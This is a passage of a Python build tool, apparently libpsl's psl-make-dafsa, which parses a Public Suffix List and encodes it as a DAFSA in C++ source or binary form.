""" if not words: raise InputError('The domain list must not be empty') def to_nodes(word, multibyte_length): """Split words into characters""" byte = ord(word[:1]) if multibyte_length: # Consume next byte in multibyte sequence. if byte & 0xC0 != 0x80: raise InputError('Invalid UTF-8 multibyte sequence') return to_bytes(byte ^ 0xC0), [to_nodes(word[1:], multibyte_length - 1)] char_length = char_length_table[byte] if char_length == 1: # 7-bit printable ASCII. if len(word) == 1: return to_bytes(int(word[:1], 16) & 0x0F), [None] return word[:1], [to_nodes(word[1:], 0)] elif char_length > 1: # Leading byte in multibyte sequence. if not utf_mode: raise InputError('UTF-8 encoded characters are not allowed in ASCII mode') if len(word) <= char_length: raise InputError('Unterminated UTF-8 multibyte sequence') return to_bytes(0x1F), [(to_bytes(byte ^ 0x80), [to_nodes(word[1:], char_length - 1)])] # Unexpected character. raise InputError('Domain names must be printable ASCII or UTF-8') return [to_nodes(word, 0) for word in words] def to_words(node): """Generates a word list from all paths starting from an internal node.""" if not node: return [b''] return [(node[0] + word) for child in node[1] for word in to_words(child)] def reverse(dafsa): """Generates a new DAFSA that is reversed, so that the old sink node becomes the new source node. """ sink = [] nodemap = {} def dfs(node, parent): """Creates reverse nodes. A new reverse node will be created for each old node. The new node will get a reversed label and the parents of the old node as children. """ if not node: sink.append(parent) elif id(node) not in nodemap: nodemap[id(node)] = (node[0][::-1], [parent]) for child in node[1]: dfs(child, nodemap[id(node)]) else: nodemap[id(node)][1].append(parent) for node in dafsa: dfs(node, None) return sink def join_labels(dafsa): """Generates a new DAFSA where internal nodes are merged if there is a one to one connection. """ parentcount = {id(None): 2} nodemap = {id(None): None} def count_parents(node): """Count incoming references""" if id(node) in parentcount: parentcount[id(node)] += 1 else: parentcount[id(node)] = 1 for child in node[1]: count_parents(child) def join(node): """Create new nodes""" if id(node) not in nodemap: children = [join(child) for child in node[1]] if len(children) == 1 and parentcount[id(node[1][0])] == 1: child = children[0] nodemap[id(node)] = (node[0] + child[0], child[1]) else: nodemap[id(node)] = (node[0], children) return nodemap[id(node)] for node in dafsa: count_parents(node) return [join(node) for node in dafsa] def join_suffixes(dafsa): """Generates a new DAFSA where nodes that represent the same word lists towards the sink are merged. """ nodemap = {frozenset((b'',)): None} def join(node): """Returns a matching node. A new node is created if no matching node exists. The graph is accessed in dfs order. """ suffixes = frozenset(to_words(node)) if suffixes not in nodemap: nodemap[suffixes] = (node[0], [join(child) for child in node[1]]) return nodemap[suffixes] return [join(node) for node in dafsa] def top_sort(dafsa): """Generates list of nodes in topological sort order.""" incoming = {} def count_incoming(node): """Counts incoming references.""" if node: if id(node) not in incoming: incoming[id(node)] = 1 for child in node[1]: count_incoming(child) else: incoming[id(node)] += 1 for node in dafsa: count_incoming(node) for node in dafsa: incoming[id(node)] -= 1 waiting = [node for node in dafsa if incoming[id(node)] == 0] nodes = [] while waiting: node = waiting.pop() assert incoming[id(node)] == 0 nodes.append(node) for child in node[1]: if child: incoming[id(child)] -= 1 if incoming[id(child)] == 0: waiting.append(child) return nodes def encode_links(children, offsets, current): """Encodes a list of children as one, two or three byte offsets.""" if not children[0]: # This is an <end_label> node and no links follow such nodes assert len(children) == 1 return [] guess = 3 * len(children) assert children children = sorted(children, key=lambda x: -offsets[id(x)]) while True: offset = current + guess buf = [] for child in children: last = len(buf) distance = offset - offsets[id(child)] assert distance > 0 and distance < (1 << 21) if distance < (1 << 6): # A 6-bit offset: "s0xxxxxx" buf.append(distance) elif distance < (1 << 13): # A 13-bit offset: "s10xxxxxxxxxxxxx" buf.append(0x40 | (distance >> 8)) buf.append(distance & 0xFF) else: # A 21-bit offset: "s11xxxxxxxxxxxxxxxxxxxxx" buf.append(0x60 | (distance >> 16)) buf.append((distance >> 8) & 0xFF) buf.append(distance & 0xFF) # Distance in first link is relative to following record. # Distance in other links are relative to previous link. offset -= distance if len(buf) == guess: break guess = len(buf) # Set most significant bit to mark end of links in this node. buf[last] |= (1 << 7) buf.reverse() return buf def encode_prefix(label): """Encodes a node label as a list of bytes without a trailing high byte. This method encodes a node if there is exactly one child and the child follows immediately after so that no jump is needed. This label will then be a prefix to the label in the child node. """ assert label return [c for c in bytearray(reversed(label))] def encode_label(label): """Encodes a node label as a list of bytes with a trailing high byte >0x80. """ buf = encode_prefix(label) # Set most significant bit to mark end of label in this node. buf[0] |= (1 << 7) return buf def encode(dafsa, utf_mode): """Encodes a DAFSA to a list of bytes""" output = [] offsets = {} for node in reversed(top_sort(dafsa)): if (len(node[1]) == 1 and node[1][0] and (offsets[id(node[1][0])] == len(output))): output.extend(encode_prefix(node[0])) else: output.extend(encode_links(node[1], offsets, len(output))) output.extend(encode_label(node[0])) offsets[id(node)] = len(output) output.extend(encode_links(dafsa, offsets, len(output))) output.reverse() if utf_mode: output.append(0x01) return output def to_cxx(data, codecs): """Generates C++ code from a list of encoded bytes.""" text = b'/* This file has been generated by psl-make-dafsa. DO NOT EDIT!\n\n' text += b'The byte array encodes effective tld names. See psl-make-dafsa source for' text += b' documentation.' text += b'*/\n\n' text += b'static const unsigned char kDafsa[' text += bytes(str(len(data)), **codecs) text += b'] = {\n' for i in range(0, len(data), 12): text += b' ' text += bytes(', '.join('0x%02x' % byte for byte in data[i:i + 12]), **codecs) text += b',\n' text += b'};\n' return text def sha1_file(name): sha1 = hashlib.sha1() with open(name, 'rb') as f: while True: data = f.read(65536) if not data: break sha1.update(data) return sha1.hexdigest() def to_cxx_plus(data, codecs): """Generates C++ code from a word list plus some variable assignments as needed by libpsl""" text = to_cxx(data, codecs) text += b'static time_t _psl_file_time = %d;\n' % os.stat(psl_input_file).st_mtime text += b'static int _psl_nsuffixes = %d;\n' % psl_nsuffixes text += b'static int _psl_nexceptions = %d;\n' % psl_nexceptions text += b'static int _psl_nwildcards = %d;\n' % psl_nwildcards text += b'static const char _psl_sha1_checksum[] = "%s";\n' % bytes(sha1_file(psl_input_file), **codecs) text += b'static const char _psl_filename[] = "%s";\n' % bytes(psl_input_file, **codecs) return text def words_to_whatever(words, converter, utf_mode, codecs): """Generates C++ code from a word list""" dafsa = to_dafsa(words, utf_mode) for fun in (reverse, join_suffixes, reverse, join_suffixes, join_labels): dafsa = fun(dafsa) return converter(encode(dafsa, utf_mode), codecs) def words_to_cxx(words, utf_mode, codecs): """Generates C++ code from a word list""" return words_to_whatever(words, to_cxx, utf_mode, codecs) def words_to_cxx_plus(words, utf_mode, codecs): """Generates C++ code from a word list plus some variable assignments as needed by libpsl""" return words_to_whatever(words, to_cxx_plus, utf_mode, codecs) def words_to_binary(words, utf_mode, codecs): """Generates C++ code from a word list""" return b'.DAFSA@PSL_0 \n' + words_to_whatever(words, lambda x, _: bytearray(x), utf_mode, codecs) def parse_psl(infile, utf_mode, codecs): """Parses PSL file and extract strings and return code""" PSL_FLAG_EXCEPTION = (1<<0) PSL_FLAG_WILDCARD = (1<<1) PSL_FLAG_ICANN = (1<<2) # entry of ICANN section PSL_FLAG_PRIVATE = (1<<3) # entry of PRIVATE section PSL_FLAG_PLAIN = (1<<4) #just used for PSL syntax checking global psl_nsuffixes, psl_nexceptions, psl_nwildcards psl = {} section = 0 for line in infile: line = bytes(line.strip(), **codecs) if not line: continue if line.startswith(b'//'): if section == 0: if b'===BEGIN ICANN DOMAINS===' in line: section = PSL_FLAG_ICANN elif b'===BEGIN PRIVATE DOMAINS===' in line: section = PSL_FLAG_PRIVATE elif section == PSL_FLAG_ICANN and b'===END ICANN DOMAINS===' in line: section = 0 elif section == PSL_FLAG_PRIVATE and b'===END PRIVATE DOMAINS===' in line: section = 0 continue # skip comments if line[:1] == b'!': psl_nexceptions += 1 flags = PSL_FLAG_EXCEPTION | section line = line[1:] elif line[:1] == b'*': if line[1:2] != b'.': print('Unsupported kind of rule (ignored): %s' % line) continue psl_nwildcards += 1 psl_nsuffixes += 1 flags = PSL_FLAG_WILDCARD | PSL_FLAG_PLAIN | section line = line[2:] else: psl_nsuffixes += 1 flags = PSL_FLAG_PLAIN | section punycode = line.decode('utf-8').encode('idna') if punycode in psl: """Found existing entry: Combination of exception and plain rule is ambiguous !foo.bar foo.bar Allowed: !foo.bar + *.foo.bar foo.bar + *.foo.bar """ print('Found %s/%X (now %X)' % punycode, psl[punycode], flags) continue if utf_mode: psl[line] = flags psl[punycode] = flags # with open("psl.out", 'w') as outfile: # for (domain, flags) in sorted(psl.iteritems()): # outfile.write(domain + "%X" % (flags & 0x0F) + "\n") return [domain + bytes('%X' % (flags & 0x0F), **codecs) for (domain, flags) in sorted(psl.items())] def usage(): """Prints the usage""" print('usage: %s [options] infile outfile' % sys.argv[0]) print(' --output-format=cxx Write DAFSA as C/C++ code (default)') print(' --output-format=cxx+ Write DAFSA as C/C++ code plus statistical assignments') print(' --output-format=binary Write DAFSA binary data') print(' --encoding=ascii 7-bit ASCII mode') print(' --encoding=utf-8 UTF-8 mode (default)') exit(1) def main(): """Convert PSL file into C or binary DAFSA file""" if len(sys.argv) < 3: usage() locale.setlocale(locale.LC_CTYPE, 'C.UTF-8') converter = words_to_cxx parser = parse_psl utf_mode = True codecs = dict() if sys.version_info.major > 2: codecs['encoding'] = 'utf-8' for arg in sys.argv[1:-2]: # Check --input-format for backward compatibility if arg.startswith('--input-format='): value = arg[15:].lower() if value == 'psl': parser = parse_psl else: print("Unknown input format '%s'" % value) return 1 elif arg.startswith('--output-format='): value = arg[16:].lower() if value == 'binary': converter = words_to_binary elif value == 'cxx': converter = words_to_cxx elif value == 'cxx+': converter = words_to_cxx_plus else: print("Unknown output format '%s'" % value) return 1 elif arg.startswith('--encoding='): value = arg[11:].lower() if value == 'ascii': utf_mode = False elif value == 'utf-8': utf_mode = True else: print("Unknown encoding '%s'" % value) return 1 else: usage() if sys.argv[-2] == '-': with open(sys.argv[-1], 'wb') as outfile: outfile.write(converter(parser(sys.stdin, utf_mode, codecs), utf_mode, codecs)) else: """Some statistical data for --output-format=cxx+""" global psl_input_file, psl_nsuffixes, psl_nexceptions, psl_nwildcards psl_input_file = sys.argv[-2] psl_nsuffixes = 0 psl_nexceptions = 0 psl_nwildcards = 0 with open(sys.argv[-2], 'r', **codecs) as infile, open(sys.argv[-1], 'wb') as outfile: outfile.write(converter(parser(infile, utf_mode, codecs), utf_mode, codecs)) return 0 if __name__ == '__main__': sys.exit(main())
Close
